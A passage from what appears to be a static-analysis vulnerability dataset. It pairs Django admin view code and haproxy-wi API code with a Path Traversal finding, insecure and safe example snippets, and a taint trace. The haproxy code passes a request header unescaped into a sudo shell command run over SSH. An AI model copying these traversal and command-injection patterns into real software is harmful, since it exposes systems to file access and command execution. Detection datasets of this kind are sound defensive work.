form.is_valid():\n\t\t\tpost = form.save(commit=False)\n\t\t\tpost.updated_by = request.user\n\t\t\tpost.save()\n\t\t\tform.save_m2m()\n\t\t\t\n\t\t\t# If it's a success and they want JSON back, return the ID and label as JSON,\n\t\t\t# otherwise we redirect to the list page with a message.\n\t\t\tif request.POST.get('returntype', None) == 'json':\n\t\t\t\tresponse = JsonResponse({\n\t\t\t\t\t'id': post.id,\n\t\t\t\t\t'name': post.__str__()\n\t\t\t\t}, status=200)\n\t\t\telse:\n\t\t\t\thelpers.setPageMessage(request, 'success', f'{capfirst(thisModel._meta.verbose_name)} was edited successfully')\n\t\t\t\tresponse = redirect(thisModelListUrl)\n\t\telse:\n\t\t\tresponse = render(request, thisViewTemplate, context)\n\t\t\t\n\treturn response\n\t\n\t\n##\n##\t/metrics/admin/projectevents/delete//\n##\ndef admin_projectevent_delete(request, id):\n\tthisModel = ProjectEvent\n\tthisModelItem = get_object_or_404(thisModel, id=id)\n\tthisModelListUrl = reverse(f'metrics:admin_{thisModel._meta.model_name}_list')\n\n\tif not accessHelpers.isProjectAdmin(request.user, thisModelItem.project):\n\t\treturn render(request, '404.html', {}, status=404)\n\n\tthisModelItem.delete()\n\t\n\tif request.POST.get('returntype', None) == 'json':\n\t\tresponse = JsonResponse({\n\t\t\t'msg': \"Deleted successfully.\"\n\t\t}, status=200)\n\telse:\n\t\thelpers.setPageMessage(request, 'success', f'{capfirst(thisModel._meta.verbose_name)} was deleted successfully')\n\t\tresponse = redirect(thisModelListUrl)\n\t\n\treturn response\n\n\n##\n##\t/metrics/admin/projectsnapshots/\n##\n@user_passes_test(accessHelpers.isAnyProjectEditor_decorator)\ndef admin_projectsnapshot_list(request):\n\tprojectsCanEdit = Project.projectsCanEdit(request.user)\n\t\n\tif not projectsCanEdit or projectsCanEdit.count() == 0:\n\t\treturn render(request, '403.html', {}, status=403)\n\n\tprojectSnapshots = ProjectSnapshot.objects.filter(Q(date_period='quarter') | Q(date_period='last90')).filter(project__in=projectsCanEdit).prefetch_related('project', 'updated_by', 'data_source')\n\t\n\tcontext = {\n\t\t'projectSnapshots': projectSnapshots\n\t}\n\t\n\tresponse = render(request, 'metrics/admin_projectsnapshot_list.html', context)\n\t\n\thelpers.clearPageMessage(request)\n\t\n\treturn response\n\n\n##\n##\t/metrics/admin/projectsnapshots/add/\n##\n@user_passes_test(accessHelpers.isAnyProjectEditor_decorator)\ndef admin_projectsnapshot_add(request):\n\tprojectsCanEdit = Project.projectsCanEdit(request.user)\n\t\n\tif not projectsCanEdit or projectsCanEdit.count() == 0:\n\t\treturn render(request, '403.html', {}, status=403)\n\n\tbreadcrumbs = getAdminBreadcrumbBase()\n\tbreadcrumbs.append(\n\t\t{ \n\t\t\t'text': 'Project snapshots',\n\t\t\t'url': reverse('metrics:admin_projectsnapshot_list')\n\t\t}\n\t)\n\n\tif request.method == 'GET':\n\t\tform = ProjectSnapshotForm()\n\t\tform.fields['project'].queryset = projectsCanEdit\n\t\tform.fields['data_source'].initial = DataSource.objects.get(name='Other')\n\t\t\n\t\tcontext = {\n\t\t\t'breadcrumbs': breadcrumbs,\n\t\t\t'form': form\n\t\t}\n\n\t\tresponse = render(request, 'metrics/admin_projectsnapshot_add.html', context)\n\t\thelpers.clearPageMessage(request)\n\n\telif request.method == 'POST':\n\t\tform = ProjectSnapshotForm(request.POST)\n\t\tform.fields['project'].queryset = projectsCanEdit\n\t\t\n\t\tcontext = {\n\t\t\t'breadcrumbs': breadcrumbs,\n\t\t\t'form': form\n\t\t}\n\t\t\n\t\tif form.is_valid():\n\t\t\tpost = form.save(commit=False)\n\t\t\tpost.created_by = request.user\n\t\t\tpost.updated_by = request.user\n\t\t\tpost.response_day_range = 90\n\t\t\ttry:\n\t\t\t\terrorMsg = post.save()\n\t\t\t\tif errorMsg:\n\t\t\t\t\tcontext['form'].add_error(field='date', error=errorMsg)\n\t\t\t\t\traise ValidationError(errorMsg)\n\t\t\t\t\t\n\t\t\t\tpost.manualEntryCalculateAndSave()\n\t\t\t\tpost.project.storeLatestSnapshots()\n\t\t\t\tpost.project.setYearBaselinesAndTargets()\n\t\t\t\tif post.project.domain:\n\t\t\t\t\tpost.project.domain.updateDomainYearSnapshot()\n\t\t\t\t\n\t\t\t\thelpers.setPageMessage(request, 'success', 'Projectsnapshot was added successfully')\n\t\t\t\tresponse = redirect(reverse('metrics:admin_projectsnapshot_list'))\n\t\t\texcept Exception as ex:\n\t\t\t\tresponse = render(request, 'metrics/admin_projectsnapshot_add.html', context)\t\n\t\telse:\n\t\t\tresponse = render(request, 'metrics/admin_projectsnapshot_add.html', context)\n\t\t\t \n\treturn response\n\n\n##\n##\t/metrics/admin/projectsnapshots/edit//\n##\n@user_passes_test(accessHelpers.isAnyProjectEditor_decorator)\ndef admin_projectsnapshot_edit(request, id):\n\tprojectsnapshot = get_object_or_404(ProjectSnapshot, id=id)\n\t\n\tprojectsCanEdit = Project.projectsCanEdit(request.user)\n\t\n\tif not projectsnapshot.project in projectsCanEdit:\n\t\treturn render(request, '403.html', {}, status=403)\n\n\tbreadcrumbs = getAdminBreadcrumbBase()\n\tbreadcrumbs.append(\n\t\t{ \n\t\t\t'text': 'Project snapshots',\n\t\t\t'url': reverse('metrics:admin_projectsnapshot_list')\n\t\t}\n\t)\n\n\n\tif request.method == 'GET':\n\t\tform = ProjectSnapshotForm(instance=projectsnapshot)\n\t\tform.fields['project'].queryset = projectsCanEdit\n\t\tform.fields['data_source'].initial = DataSource.objects.get(name='Other')\n\t\t\n\t\tcontext = {\n\t\t\t'breadcrumbs': breadcrumbs,\n\t\t\t'projectSnapshot': projectsnapshot,\n\t\t\t'form': form\n\t\t}\n\n\t\tresponse = render(request, 'metrics/admin_projectsnapshot_edit.html', context)\n\t\thelpers.clearPageMessage(request)\n\n\telif request.method == 'POST':\n\t\tform = ProjectSnapshotForm(request.POST, instance=projectsnapshot)\n\t\tform.fields['project'].queryset = projectsCanEdit\n\n\t\tcontext = {\n\t\t\t'breadcrumbs': breadcrumbs,\n\t\t\t'projectsnapshot': projectsnapshot,\n\t\t\t'form': form\n\t\t}\n\t\t\n\t\tif form.is_valid():\n\t\t\tpost = form.save(commit=False)\n\t\t\tpost.updated_by = request.user\n\t\t\ttry:\n\t\t\t\terrorMsg = post.save()\n\t\t\t\tif errorMsg:\n\t\t\t\t\tcontext['form'].add_error(field='date', error=errorMsg)\n\t\t\t\t\traise ValidationError(errorMsg)\n\t\t\t\t\t\n\t\t\t\tpost.manualEntryCalculateAndSave()\n\t\t\t\tpost.project.storeLatestSnapshots()\n\t\t\t\tpost.project.setYearBaselinesAndTargets()\n\t\t\t\tif post.project.domain:\n\t\t\t\t\tpost.project.domain.updateDomainYearSnapshot()\n\t\t\t\t\n\t\t\t\thelpers.setPageMessage(request, 'success', 'Project snapshot was updated successfully')\n\t\t\t\tresponse = redirect(reverse('metrics:admin_projectsnapshot_list'))\n\t\t\texcept Exception as ex:\n\t\t\t\tresponse = render(request, 'metrics/admin_projectsnapshot_edit.html', context)\t\n\t\telse:\n\t\t\tresponse = render(request, 'metrics/admin_projectsnapshot_edit.html', context)\n\t\t\t \n\treturn response\n\n\n##\n##\t/metrics/admin/emailallresponsesascsv/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_email_all_responses_as_csv(request):\n\thelpers.runInBackground(createCsvAndEmailFile, {'user':request.user})\n\thelpers.setPageMessage(request, 'success', 'Your CSV request is processing. You will recieve an email with the file in a few minutes.')\n\tresponse = redirect(reverse('metrics:admin_home'))\t\n\treturn response\n\n\n##\n##\t/metrics/admin/getnewusabillaresponses/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_get_new_usabilla_responses(request):\n\thelpers.runInBackground(fetchNewUsabillaResponses, {'user':request.user})\n\thelpers.setPageMessage(request, 'success', 'Omnia is fetching all the latest Usabilla responses since the last fetch.
All reports will be updated with the latest data in a few minutes.')\n\tresponse = redirect(reverse('metrics:admin_home'))\t\n\treturn response\n\n\n##\n##\t/metrics/admin/getnewbeeheardresponses/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_get_new_beeheard_responses(request):\n\thelpers.runInBackground(fetchNewBeeHeardResponses, {'user':request.user})\n\thelpers.setPageMessage(request, 'success', 'Omnia is fetching all the latest BeeHeard responses since the last fetch.
All reports will be updated with the latest data in a few minutes.')\n\tresponse = redirect(reverse('metrics:admin_home'))\t\n\treturn response\n\n\n##\n##\t/metrics/admin/importlog/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_import_log(request):\n\tcontext = {\n\t\t'runs': ImportLog.objects.prefetch_related('user', 'user__profile')[:200]\n\t}\n\t\n\treturn render(request, 'metrics/admin_import_log.html', context)\n\t\n\n##\n##\t/metrics/admin/activitylog/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_activity_log(request):\n\tcontext = {\n\t\t'activityLogs': ActivityLog.objects.all().annotate(userName=F('user__profile__full_name')).select_related('content_type').prefetch_related('content_object')[:2000]\n\t}\n\t\n\treturn render(request, 'metrics/admin_activity_log.html', context)\n\t\n\n##\n##\t/metrics/admin/pageviews/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_page_views(request):\n\tpageViewsValidUsers = PageView.objects.filter(user__isnull=False, user__username__contains='@')\n\t\n\tcontext = {\n\t\t'pageViews': list(PageView.objects.filter(user__isnull=False).values('url').annotate(views=Sum('view_count')).values_list('views', 'url').order_by('-views')[:25]),\n\t\t'totalPageViews': PageView.objects.aggregate(Sum('view_count')),\n\t\t'usersByPageviews': list(pageViewsValidUsers.values('user__username').annotate(views=Sum('view_count')).values_list('views', 'user__username').order_by('-views')[:25]),\n\t\t'usersByMetricsPageviews': list(pageViewsValidUsers.filter(url__contains='/metrics').values('user__username').annotate(views=Sum('view_count')).values_list('views', 'user__username').order_by('-views')[:25]),\n\t\t'usersByResearchPageviews': list(pageViewsValidUsers.filter(url__contains='/research').values('user__username').annotate(views=Sum('view_count')).values_list('views', 'user__username').order_by('-views')[:25]),\n\t}\n\t\n\treturn render(request, 'metrics/admin_page_views.html', context)\n\t\n\n##\n##\t/metrics/admin/inactiveusers/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_inactive_users(request):\n\tinactiveUsers = User.objects.filter(profile__inactive=True).prefetch_related('artifact_owner', 'project_contact', 'project_admins')\n\t\n\tcontext = {\n\t\t'inactiveUsers': inactiveUsers\n\t}\n\t\n\treturn render(request, 'metrics/admin_inactive_users.html', context)\n\t\n\n##\n##\t/metrics/admin/responseexport/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_responses_export(request):\n\tcampaigns = Campaign.objects.filter(response_campaign__isnull=False).order_by('key').annotate(numOthers=Count('response_campaign', filter=(Q(response_campaign__primary_goal__name='Other') | Q(response_campaign__primary_goal__name='')))).select_related('project')\n\t\n\tcontext = {\n\t\t'campaigns': campaigns\n\t}\n\t\n\tresponse = render(request, 'metrics/admin_responses_export.html', context)\n\t\n\thelpers.clearPageMessage(request)\n\t\n\treturn response\n\n\t\n##\n##\t/metrics/admin/responsesascsv/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_responses_as_csv(request):\n\ttry:\n\t\tcampaigns = request.POST.getlist('campaigns')\n\t\t\n\t\tif len(campaigns) > 0:\n\t\t\tfileName = createCsvFromData(campaigns=campaigns, orderBy='primary_goal')\n\t\t\tf = open(fileName, 'r')\n\t\t\tfile_content = f.read()\n\t\t\tf.close()\n\t\t\tresponse = HttpResponse(file_content, content_type='application/vnd.ms-excel')\n\t\t\tresponse['Content-Disposition'] = f'attachment;filename=\"{fileName}\"'\n\t\t\t\n\t\t\t# Delete file.\n\t\t\tos.remove(fileName)\n\t\t\t\n\t\t\t# Return it\n\t\t\treturn response\n\t\telse:\n\t\t\traise Exception()\n\texcept Exception as ex:\n\t\treturn render(request, '404.html', {}, status=404)\n\n\n##\n##\t/metrics/admin/responsesimportgoal/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_responses_import_goal(request):\n\tcontext = {\n\t\t\n\t}\n\t\n\tresponse = render(request, 'metrics/admin_responses_import_goal.html', context)\n\t\n\thelpers.clearPageMessage(request)\n\t\n\treturn response\n\n\t\n##\n##\t/metrics/admin/target/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_target_list(request):\n\tthisModel = Target\n\tlistItems = thisModel.objects.all()\n\treturn doCommonListView(request, thisModel, listItems)\n\n\n##\n##\t/metrics/admin/target/add/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_target_add(request):\n\tthisModel = Target\n\treturn doCommonAddItemView(request, thisModel)\n\n\n##\n##\t/metrics/admin/target/edit/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_target_edit(request, id):\n\tthisModel = Target\n\treturn doCommonEditItemView(request, thisModel, id, 'nps_score', viewTemplate='metrics/admin_target_edit.html')\n\n\n##\n##\t/metrics/admin/target/delete//\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_target_delete(request):\n\treturn doCommonDeleteView(request, Target)\n\n\t\n##\n##\t/metrics/admin/api/uxspecialistassigned/add/\n##\n@user_passes_test(accessHelpers.isAnyProjectAdmin_decorator)\ndef admin_uxspecialistassigned_add(request):\n\ttry:\n\t\tproject = Project.objects.get(id=request.POST.get('project'))\n\t\t\n\t\tif not accessHelpers.isProjectAdmin(request.user, project):\n\t\t\treturn JsonResponse({'msg': 'Not authorized'}, status=403)\n\t\n\t\tUxSpecialistAssigned.objects.create(\n\t\t\tcreated_by = request.user,\n\t\t\tproject = project,\n\t\t\tdate = request.POST.get('date'),\n\t\t\tassigned = request.POST.get('assigned'),\n\t\t)\n\t\t\n\t\texistingDA = project.designer_assigned\n\t\t\n\t\t# Now set this project's flag that it has one assigned or not.\n\t\tproject.setUxSpecialistFlag()\n\n\t\t# Log the change.\n\t\tchangeEntry = ActivityLog.objects.create(\n\t\t\tuser = request.user,\n\t\t\tcontent_object = project,\n\t\t\tcomments = f'Project UX specialist assigned changed from \"{existingDA}\" to \"{project.designer_assigned}\"'\n\t\t)\n\t\t\n\t\t# Return the new list to display.\n\t\tresponse = JsonResponse({\n\t\t\t'uxSpecialistAssigneds': list(UxSpecialistAssigned.objects.filter(project=project).values_list('date', 'assigned', 'created_by__username', 'id')),\n\t\t}, status=200)\n\t\t\n\texcept Exception as ex:\n\t\tresponse = JsonResponse({\n\t\t\t'msg': str(ex)\n\t\t}, status=404)\n\t\n\treturn response\n\t\n\t\n##\n##\t/metrics/admin/api/uxspecialistassigned/delete/\n##\n@user_passes_test(accessHelpers.isAnyProjectAdmin_decorator)\ndef admin_uxspecialistassigned_delete(request):\n\ttry:\n\t\tproject = Project.objects.get(id=request.POST.get('project'))\t\n\t\tuxSpecialist = UxSpecialistAssigned.objects.get(id=request.POST.get('id'))\n\t\t\n\t\tif not accessHelpers.isProjectAdmin(request.user, project):\n\t\t\treturn JsonResponse({'msg': 'Not authorized'}, status=403)\n\t\t\n\t\tuxSpecialist.delete()\n\t\t\n\t\t# Return the new list to display.\n\t\tresponse = JsonResponse({\n\t\t\t'uxSpecialistAssigneds': list(UxSpecialistAssigned.objects.filter(project=project).values_list('date', 'assigned', 'created_by__username', 'id')),\n\t\t}, status=200)\n\t\t\n\texcept Exception as ex:\n\t\tresponse = JsonResponse({\n\t\t\t'msg': str(ex)\n\t\t}, status=404)\n\t\n\treturn response\t\n\t\n\t\n##\n##\t/metrics/admin/pageviews/download/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_page_views_download(request):\n\t\n\tif request.GET.get('list', None) == 'allpages':\n\t\tlistResult = list(PageView.objects.filter(user__isnull=False).values('url').annotate(views=Sum('view_count')).values_list('views', 'url').order_by('-views'))\n\t\n\telif request.GET.get('list', None) == 'usersallpages':\n\t\tlistResult = list(PageView.objects.filter(user__isnull=False).values('user__username').annotate(views=Sum('view_count')).values_list('views', 'user__username').order_by('-views'))\n\t\n\telif request.GET.get('list', None) == 'usersmetricspages':\n\t\tlistResult = list(PageView.objects.filter(user__isnull=False, url__contains='/metrics').values('user__username').annotate(views=Sum('view_count')).values_list('views', 'user__username').order_by('-views'))\n\telif request.GET.get('list', None) == 'usersresearchpages':\n\t\tlistResult = list(PageView.objects.filter(user__isnull=False, url__contains='/research').values('user__username').annotate(views=Sum('view_count')).values_list('views', 'user__username').order_by('-views'))\n\telse:\n\t\treturn render(request, '404.html', {}, status=404)\n\t\t\n\tresponse = HttpResponse(content_type='text/csv')\n\tresponse['Content-Disposition'] = 'attachment;filename=\"page views.csv\"'\n\t\n\twriter = csv.writer(response)\n\tfor item in listResult:\n\t\twriter.writerow(item)\n\t\n\treturn response\t\t\n\t\n\t\n##\n##\t/metrics/admin/emailadmins/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_email_admins(request):\n\tcontext = {\n\t\t'form': None,\n\t\t'admins': list(Group.objects.get(name='admins').user_set.all().values_list('profile__full_name', flat=True))\n\t}\n\t\n\tif request.method == 'GET':\n\t\tform = EmailAdminsForm()\n\t\tcontext['form'] = form\n\t\tresponse = render(request, 'metrics/admin_email_admins.html', context)\n\t\thelpers.clearPageMessage(request)\n\telif request.method == 'POST':\n\t\tform = EmailAdminsForm(request.POST)\n\t\tcontext['form'] = form\n\t\t\n\t\tif form.is_valid():\t\n\t\t\treturnMessage, emailSent = helpers.emailAdmins({\n\t\t\t\t'msg': request.POST.get('msg', ''),\n\t\t\t\t'sender': request.user.profile.full_name,\n\t\t\t\t'fromEmail': f'{request.user.profile.full_name}<{request.user.username}>',\n\t\t\t})\n\t\t\t\n\t\t\tif emailSent:\n\t\t\t\thelpers.setPageMessage(request, 'success', 'Your message was emailed to all admins.')\n\t\t\t\tresponse = redirect(reverse('metrics:admin_home'))\n\t\t\telse:\n\t\t\t\thelpers.setPageMessage(request, 'error', returnMessage)\n\t\t\t\tresponse = render(request, 'metrics/admin_email_admins.html', context)\n\t\telse:\n\t\t\tresponse = render(request, 'metrics/admin_email_admins.html', context)\n\t\t\thelpers.clearPageMessage(request)\n\t\n\treturn response\t\n\t\n\t\n##\n##\t/metrics/admin/onlineusers/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_online_users(request):\n\tcontext = {\n\t\t\n\t}\t\n\n\tresponse = render(request, 'metrics/admin_online_users.html', context)\n\n\treturn response\n\t\n\t\n##\n##\t/metrics/admin/projectkeyword/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_projectkeyword_list(request):\n\tthisModel = ProjectKeyword\n\tlistItems = thisModel.objects.all()\n\treturn doCommonListView(request, thisModel, listItems)\n\n\n##\n##\t/metrics/admin/projectkeyword/add/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_projectkeyword_add(request):\n\treturn doCommonAddItemView(request, ProjectKeyword)\n\n\n##\n##\t/metrics/admin/projectkeyword/edit/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_projectkeyword_edit(request, id):\n\treturn doCommonEditItemView(request, ProjectKeyword, id, 'name', allowDelete=True)\n\n\n##\n##\t/metrics/admin/projectkeyword/delete//\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_projectkeyword_delete(request):\n\treturn doCommonDeleteView(request, ProjectKeyword)\n\t\n\t\n##\n##\t/metrics/admin/projectkeywordtagging/\n##\n@user_passes_test(accessHelpers.isAnyProjectAdmin_decorator)\ndef admin_project_keyword_tagging(request):\n\tcontext = {\n\t\t'keywords': ProjectKeyword.objects.all(),\n\t\t'projects': Project.projectsCanAdminDomainProjects(request.user).prefetch_related('keywords'),\n\t}\n\t\n\tresponse = render(request, 'metrics/admin_project_keyword_tagging.html', context)\n\t\n\thelpers.clearPageMessage(request)\n\t\n\treturn response\n\n\n##\n##\t/metrics/admin/projectkeywordtagging/add/\n##\n##\tAdd keyword to projects\n##\n@user_passes_test(accessHelpers.isAnyProjectAdmin_decorator)\ndef admin_project_keyword_tagging_add(request):\n\ttry:\n\t\tprojects = Project.objects.filter(id__in=request.POST.getlist('project'))\n\t\t\n\t\tif request.POST.get('keyword_new', None):\n\t\t\tkeyword = ProjectKeyword.objects.create(name=request.POST['keyword_new'])\n\t\telse:\n\t\t\tkeyword = ProjectKeyword.objects.get(id=request.POST.get('keyword'))\n\t\tfor p in projects:\n\t\t\tp.keywords.add(keyword)\n\texcept:\n\t\tpass\n\t\n\thelpers.setPageMessage(request, 'success', f'\"{keyword.name}\" was added to {projects.count()} tools successfully.')\n\t\n\treturn redirect(reverse('metrics:admin_project_keyword_tagging'))\n\t\n\n##\n##\t/metrics/admin/projectkeywordtagging/delete/\n##\n@user_passes_test(accessHelpers.isAnyProjectAdmin_decorator)\ndef admin_project_keyword_tagging_remove(request):\n\ttry:\n\t\tproject = Project.objects.get(id=request.POST.get('project'))\n\t\tkeyword = ProjectKeyword.objects.get(id=request.POST.get('keyword'))\n\t\tproject.keywords.remove(keyword)\n\texcept:\n\t\tpass\n\t\n\treturn JsonResponse({\n\t\t\t'msg': \"Deleted successfully.\"\n\t\t}, status=200)\n\t\n\n##\n##\t/metrics/admin/role/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_role_list(request):\n\tthisModel = Role\n\tlistItems = thisModel.objects.all()\n\treturn doCommonListView(request, thisModel, listItems)\n\n\n##\n##\t/metrics/admin/role/add/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_role_add(request):\n\tthisModel = Role\n\treturn doCommonAddItemView(request, thisModel)\n\n\n##\n##\t/metrics/admin/role/edit/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_role_edit(request, id):\n\tthisModel = Role\n\treturn doCommonEditItemView(request, thisModel, id, 'name', allowDelete=True)\n\n\n##\n##\t/metrics/admin/role/delete/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_role_delete(request):\n\treturn doCommonDeleteView(request, Role)\n\n\n##\n##\t/metrics/admin/task/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_task_list(request):\n\tthisModel = Task\n\tlistItems = thisModel.objects.all().select_related('parent_task').prefetch_related('projects', 'task_parent_task')\n\treturn doCommonListView(request, thisModel, listItems)\n\n\n##\n##\t/metrics/admin/task/add/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_task_add(request):\n\tthisModel = Task\n\treturn doCommonAddItemView(request, thisModel)\n\n\n##\n##\t/metrics/admin/task/edit/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_task_edit(request, id):\n\tthisModel = Task\n\treturn doCommonEditItemView(request, thisModel, id, 'name', allowDelete=True)\n\n\n##\n##\t/metrics/admin/task/delete/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_task_delete(request):\n\treturn doCommonDeleteView(request, Task)\n\n\n\n##\n##\t/metrics/admin/projectsnapshots/export/csv/\n##\n@user_passes_test(accessHelpers.hasAdminAccess_decorator)\ndef admin_projectsnapshots_to_csv(request):\n\treturn render_to_csv_response(ProjectSnapshot.objects.all())\n\t\n\t\n\t", "dangerousExampleEn": "1. import os\n2. \n3. def bad(request):\n4. name = request.GET['name']\n5. file = os.open(name)\nLine 5: Insecure request.GET['name'] is used as a path to access a file.", "safeExampleEn": "1. import os\n2. \n3. def bad(request):\n4. name = request.GET['name']\n5. if not \"..\" in name and name.startswith(white_path):\n6. file = os.open(name)\nLine 5: Do not use an insecure value as a path to access; use a filtered value only.", "contexts": [{"lineNo": 1448, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "request"}}, {"lineNo": 1448, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "requestrequest.POST"}}, {"lineNo": 1448, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "getlist"}}, {"lineNo": 1450, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "1450"}}, {"lineNo": 1451, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "createCsvFromData"}}, {"lineNo": 1451, "eventType": "source", "messageKey": "synz.COMMON.value.returned.from", "params": {"arg0": "createCsvFromData"}}, {"lineNo": 1451, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 1452, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "open"}}]}} {"id": "cb7990438ba899807cf368c5f15636f38dacd0866166f694b4a6d6fa5a5518be", "license": {"spdx": ["Apache-2.0"], "repo": "pjclock/haproxy-wi", "path": "api/api_funct.py", "repo_head_hexsha": "2ea59c892ae24d824d29dd0cee580c969f64cc87", "stack_hexsha": "7dc217926986aef9243e5b82602418597122bc4f", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Path Traversal", "issueDescriptionEn": "The Path Manipulation checker finds instances in which an unvalidated external input creates a path accessible to the file system.\nIf unvalidated external inputs are allowed to be used for access to files, servers, or other system resources, attackers can manipulate inputs to access an unintended path in the program. In other words, path manipulation can be used to obtain illegitimate access to modify or execute settings files.\nIf external inputs are used as identifiers for resources (such as files), make sure they pass appropriate validation. Especially, if external inputs are filenames, use a filter to remove characters such as `, /, \\, and .. that can be exploited for a directory traversal attack.", "issueLineNumber": 165, "entireCode": "import os\nimport sys\nos.chdir(os.path.dirname(__file__))\nsys.path.append(os.path.dirname(__file__))\nsys.path.append(os.path.join(sys.path[0], '/var/www/haproxy-wi/app/'))\n\nfrom bottle import route, run, template, hook, response, request, post\nimport sql\nimport funct\n\n\ndef return_dict_from_out(id, out):\n\tdata = {}\n\tdata[id] = {}\n\tfor k in out:\n\t\tif \"Ncat:\" not in k:\n\t\t\tk = k.split(':')\n\t\t\tdata[id][k[0]] = k[1].strip()\n\t\telse:\n\t\t\tdata[id] = {\"error\":\"Can\\'t connect to HAproxy\"}\n\t\t\t\n\treturn data\n\t\n\t\ndef check_permit_to_server(id):\n\tservers = sql.select_servers(id_hostname=id)\n\tlogin = request.headers.get('login')\n\t\t\n\tfor s in servers:\t\t\n\t\tservers = sql.get_dick_permit(username=login, ip=s[2])\n\t\t\n\treturn servers\n\t\n\ndef get_server(id):\n\tdata = {}\n\ttry:\t\n\t\tservers = check_permit_to_server(id)\n\t\t\t\t\n\t\tfor s in servers:\n\t\t\tdata = { \n\t\t\t\t'id':s[0],\n\t\t\t\t'hostname':s[1],\n\t\t\t\t'ip':s[2],\n\t\t\t\t'group':s[3],\n\t\t\t\t'virt':s[4],\n\t\t\t\t'enable':s[5],\n\t\t\t\t'master':s[6],\n\t\t\t\t'creds':s[7]\n\t\t\t}\n\texcept:\n\t\tserver = data\n\treturn dict(server=data)\n\t\n\t\ndef get_status(id):\n\ttry:\n\t\tservers = check_permit_to_server(id)\n\t\t\n\t\tfor s in servers:\n\t\t\tcmd = 'echo \"show info\" |nc %s %s -w 1|grep -e \"Ver\\|CurrConns\\|Maxco\\|MB\\|Uptime:\"' % (s[2], sql.get_setting('haproxy_sock_port'))\n\t\t\t\n\t\tout = funct.subprocess_execute(cmd)\n\t\tdata = return_dict_from_out(id, out[0])\n\t\t\n\texcept:\n\t\tdata = {}\n\t\tdata[id] = {\"error\":\"Cannot find the server\"}\n\t\treturn dict(error=data)\n\t\t\t\n\treturn dict(status=data)\n\t\n\t\ndef get_all_statuses():\n\tdata = {}\n\ttry:\n\t\tservers = sql.select_servers()\n\t\tlogin = request.headers.get('login')\n\t\tsock_port = sql.get_setting('haproxy_sock_port')\n\t\t\t\n\t\tfor s in servers:\t\t\n\t\t\tservers = sql.get_dick_permit(username=login)\n\t\t\t\n\t\tfor s in servers:\n\t\t\tcmd = 'echo \"show info\" |nc %s %s -w 1|grep -e \"Ver\\|CurrConns\\|Maxco\\|MB\\|Uptime:\"' % (s[2], sock_port)\n\t\t\tdata[s[2]] = {}\t\n\t\t\tout = funct.subprocess_execute(cmd)\n\t\t\tdata[s[2]] = return_dict_from_out(s[1], out[0])\n\texcept:\n\t\tdata = {\"error\":\"Cannot find the server\"}\n\t\treturn dict(error=data)\n\t\t\t\n\treturn dict(status=data)\n\t\n\t\ndef actions(id, action):\n\tif action == 'start' or action == 'stop' or action == 'restart':\n\t\ttry:\t\t\t\n\t\t\tservers = check_permit_to_server(id)\n\t\t\t\t\n\t\t\tfor s in servers:\n\t\t\t\tcmd = [ \"sudo systemctl %s haproxy\" % action ]\n\t\t\t\terror = funct.ssh_command(s[2], cmd)\n\t\t\t\tdone = error if error else 'done'\n\t\t\t\t\t\n\t\t\t\tdata = {'id':s[0],'ip':s[2],'action':action,'hostname':s[1],'status':done}\n\t\t\t\t\n\t\t\treturn dict(status=data)\n\t\texcept:\n\t\t\treturn dict(status='error')\n\telse:\n\t\treturn dict(status='wrong action')\n\t\t\n\t\t\n\t\ndef runtime(id):\n\tdata = {}\n\ttry:\n\t\taction = request.headers.get('action')\n\t\thaproxy_sock = sql.get_setting('haproxy_sock')\n\t\tservers = check_permit_to_server(id)\t\n\t\tcmd = [ 'echo \"%s\" |sudo socat stdio %s' % (action, haproxy_sock) ]\n\t\t\n\t\tfor s in servers:\n\t\t\tout = funct.ssh_command(s[2], cmd)\n\t\t\n\t\tdata = {}\n\t\tdata[id] = {}\n\t\tsep_data = out.split('\\r\\n')\n\t\tdata[id] = {'ouput':sep_data}\n\t\t\n\t\treturn 